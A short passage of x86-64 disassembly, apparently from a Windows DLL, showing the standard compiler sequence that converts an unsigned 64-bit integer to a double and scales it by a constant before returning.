xor rdx, rcx
js 0x18018a779
cvtsi2sd xmm0, rdx
mulsd xmm0, qword [0x180182980]
add rsp, 8
ret
mov rax, rdx
and edx, 1
shr rax, 1
or rax, rdx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, qword [0x180182980]
add rsp, 8
ret